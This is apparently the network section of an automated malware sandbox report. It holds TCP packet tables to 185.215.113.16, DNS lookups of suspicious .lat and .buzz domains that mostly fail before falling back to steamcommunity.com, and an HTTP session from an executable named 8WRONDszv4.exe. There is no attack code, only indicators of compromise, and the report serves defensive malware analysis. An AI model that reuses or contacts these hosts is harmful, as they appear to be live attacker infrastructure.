Dec 27, 2024 08:52:29.746118069 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.746196985 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.746211052 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.746304989 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.747639894 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.747695923 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.747721910 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.747798920 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.749219894 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.749361038 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.749428988 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.750762939 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.750777006 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.750819921 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.752239943 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.752289057 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.752350092 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.752914906 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.753765106 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.753854036 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.753861904 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.753927946 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.755248070 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.755290031 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.755384922 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.755492926 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.756755114 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.756814957 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.756867886 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.756923914 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.758202076 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.758249998 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.758296967 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.758457899 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.759671926 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.759712934 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.759712934 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.759753942 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.761137962 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.761188984 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.761217117 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.761368036 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.763034105 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.763048887 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.763094902 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.763165951 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.764034986 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.764084101 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.764139891 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.764342070 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.765434027 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.765558004 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.765620947 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.766849041 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.766953945 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.766973972 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.766985893 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.768275976 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.768346071 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.768381119 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.768618107 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.769681931 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.769727945 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.769803047 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.769857883 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.771076918 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.771120071 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.771155119 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.771652937 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.772468090 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.772517920 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.772556067 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.772612095 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.773854971 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.773927927 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.773952007 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.774143934 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.775213003 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.775295973 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.775300026 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.775357962 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.776582956 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.776701927 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.776742935 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.777944088 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.778052092 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.778095961 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.779328108 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.779391050 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.779419899 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.780661106 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.780699015 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.780738115 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.780754089 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.780791998 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.782022953 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.782063007 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.782125950 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.782162905 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.783395052 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.783498049 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.783524990 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.783566952 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.784264088 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.784323931 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.784358025 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.784401894 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.785111904 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.785196066 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.785200119 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.785233974 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.785969019 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.786007881 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.786081076 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.786946058 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.786983013 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.787060976 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.787662029 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.787714005 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.787769079 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.787820101 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.788562059 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.788716078 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.788788080 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.789376974 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.789501905 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.789535046 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.790303946 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.790343046 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.790344954 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.791119099 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.791162014 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.791229010 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.791960001 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.792004108 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.792040110 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.792079926 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.792840958 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.792943954 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.793054104 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.793694973 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.793793917 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.793889046 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.794539928 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.794657946 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.794701099 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.794775963 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.795408010 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.795525074 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.795581102 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.919445992 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.919465065 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.919568062 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.919750929 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.919918060 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.919994116 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.920557022 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.920717955 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.920761108 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.921574116 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.921592951 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.921658039 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.921658039 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.922353029 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.922491074 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.922550917 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.923006058 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.923080921 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.923124075 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.923825979 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.923903942 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.923990011 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.924534082 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.924760103 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.924917936 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.924987078 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.925540924 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.925703049 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.925755024 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.926393032 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.926408052 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.926443100 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.926481009 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.927277088 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.927289963 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.927331924 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.928391933 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.928551912 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.928560972 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.928877115 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.928952932 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.929030895 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.929693937 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.929754972 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.929856062 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.929928064 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.930571079 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.930584908 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.930632114 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.931345940 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.931508064 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.931580067 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.932259083 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.932271957 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.932310104 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.932349920 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.933032990 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.933046103 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.933192015 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.933830976 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.933876038 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.933989048 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.934634924 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.934649944 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.934722900 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.934722900 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.935461044 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.935607910 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.935678005 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.936372995 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.936386108 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.936455965 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.937191010 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.937203884 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.937247038 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.937858105 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.938158989 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.938206911 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.938774109 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.938833952 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.938940048 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.939475060 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.939567089 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.939637899 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.940443993 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.940455914 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.940501928 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.940501928 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.941073895 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.941348076 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.941401958 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.941464901 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.941572905 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.941683054 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.942275047 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.942341089 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.942378998 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.943098068 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.943219900 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.943222046 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.943694115 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.943926096 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.943989038 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.944021940 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.944135904 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.944771051 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.944869995 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.944914103 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.944914103 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.945569992 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.945638895 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.945705891 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.946398973 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.946506023 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.946585894 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.947230101 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.947272062 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.947340012 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.948765993 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:30.407860994 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:30.407996893 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:31.176064014 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:31.176112890 CET	49991	80	192.168.2.6	185.215.113.16

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 27, 2024 08:50:23.777030945 CET	55377	53	192.168.2.6	1.1.1.1
Dec 27, 2024 08:50:23.916409969 CET	53	55377	1.1.1.1	192.168.2.6
Dec 27, 2024 08:52:16.115993977 CET	56778	53	192.168.2.6	1.1.1.1
Dec 27, 2024 08:52:16.340509892 CET	53	56778	1.1.1.1	192.168.2.6
Dec 27, 2024 08:52:16.344630003 CET	56360	53	192.168.2.6	1.1.1.1
Dec 27, 2024 08:52:16.658126116 CET	53	56360	1.1.1.1	192.168.2.6
Dec 27, 2024 08:52:16.660150051 CET	55454	53	192.168.2.6	1.1.1.1
Dec 27, 2024 08:52:16.879652977 CET	53	55454	1.1.1.1	192.168.2.6
Dec 27, 2024 08:52:17.061011076 CET	60326	53	192.168.2.6	1.1.1.1
Dec 27, 2024 08:52:17.286546946 CET	53	60326	1.1.1.1	192.168.2.6
Dec 27, 2024 08:52:17.290337086 CET	61799	53	192.168.2.6	1.1.1.1
Dec 27, 2024 08:52:17.514592886 CET	53	61799	1.1.1.1	192.168.2.6
Dec 27, 2024 08:52:17.518147945 CET	57763	53	192.168.2.6	1.1.1.1
Dec 27, 2024 08:52:17.742635012 CET	53	57763	1.1.1.1	192.168.2.6
Dec 27, 2024 08:52:17.746443987 CET	58466	53	192.168.2.6	1.1.1.1
Dec 27, 2024 08:52:18.229336023 CET	53	58466	1.1.1.1	192.168.2.6
Dec 27, 2024 08:52:18.232253075 CET	55049	53	192.168.2.6	1.1.1.1
Dec 27, 2024 08:52:18.533255100 CET	53	55049	1.1.1.1	192.168.2.6
Dec 27, 2024 08:52:18.540707111 CET	55171	53	192.168.2.6	1.1.1.1
Dec 27, 2024 08:52:18.677825928 CET	53	55171	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 27, 2024 08:50:23.777030945 CET	192.168.2.6	1.1.1.1	0x86bb	Standard query (0)	mindhandru.buzz	A (IP address)	IN (0x0001)	false
Dec 27, 2024 08:52:16.115993977 CET	192.168.2.6	1.1.1.1	0x16f2	Standard query (0)	rapeflowwj.lat	A (IP address)	IN (0x0001)	false
Dec 27, 2024 08:52:16.344630003 CET	192.168.2.6	1.1.1.1	0x1442	Standard query (0)	grannyejh.lat	A (IP address)	IN (0x0001)	false
Dec 27, 2024 08:52:16.660150051 CET	192.168.2.6	1.1.1.1	0xb36f	Standard query (0)	discokeyus.lat	A (IP address)	IN (0x0001)	false
Dec 27, 2024 08:52:17.061011076 CET	192.168.2.6	1.1.1.1	0x7c53	Standard query (0)	necklacebudi.lat	A (IP address)	IN (0x0001)	false
Dec 27, 2024 08:52:17.290337086 CET	192.168.2.6	1.1.1.1	0x3692	Standard query (0)	energyaffai.lat	A (IP address)	IN (0x0001)	false
Dec 27, 2024 08:52:17.518147945 CET	192.168.2.6	1.1.1.1	0x6153	Standard query (0)	aspecteirs.lat	A (IP address)	IN (0x0001)	false
Dec 27, 2024 08:52:17.746443987 CET	192.168.2.6	1.1.1.1	0xf6af	Standard query (0)	sustainskelet.lat	A (IP address)	IN (0x0001)	false
Dec 27, 2024 08:52:18.232253075 CET	192.168.2.6	1.1.1.1	0x7180	Standard query (0)	crosshuaht.lat	A (IP address)	IN (0x0001)	false
Dec 27, 2024 08:52:18.540707111 CET	192.168.2.6	1.1.1.1	0x851c	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 27, 2024 08:50:23.916409969 CET	1.1.1.1	192.168.2.6	0x86bb	No error (0)	mindhandru.buzz		104.21.11.101	A (IP address)	IN (0x0001)	false
Dec 27, 2024 08:50:23.916409969 CET	1.1.1.1	192.168.2.6	0x86bb	No error (0)	mindhandru.buzz		172.67.165.185	A (IP address)	IN (0x0001)	false
Dec 27, 2024 08:52:16.340509892 CET	1.1.1.1	192.168.2.6	0x16f2	Name error (3)	rapeflowwj.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 27, 2024 08:52:16.658126116 CET	1.1.1.1	192.168.2.6	0x1442	Name error (3)	grannyejh.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 27, 2024 08:52:16.879652977 CET	1.1.1.1	192.168.2.6	0xb36f	Name error (3)	discokeyus.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 27, 2024 08:52:17.286546946 CET	1.1.1.1	192.168.2.6	0x7c53	Name error (3)	necklacebudi.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 27, 2024 08:52:17.514592886 CET	1.1.1.1	192.168.2.6	0x3692	Name error (3)	energyaffai.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 27, 2024 08:52:17.742635012 CET	1.1.1.1	192.168.2.6	0x6153	Name error (3)	aspecteirs.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 27, 2024 08:52:18.229336023 CET	1.1.1.1	192.168.2.6	0xf6af	Name error (3)	sustainskelet.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 27, 2024 08:52:18.533255100 CET	1.1.1.1	192.168.2.6	0x7180	Name error (3)	crosshuaht.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 27, 2024 08:52:18.677825928 CET	1.1.1.1	192.168.2.6	0x851c	No error (0)	steamcommunity.com		23.55.153.106	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

mindhandru.buzz

185.215.113.16

185.215.113.206

185.215.113.43

31.41.244.11

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49752	185.215.113.16	80	2320	C:\Users\user\Desktop\8WRONDszv4.exe

Timestamp	Bytes transferred	Direction	Data
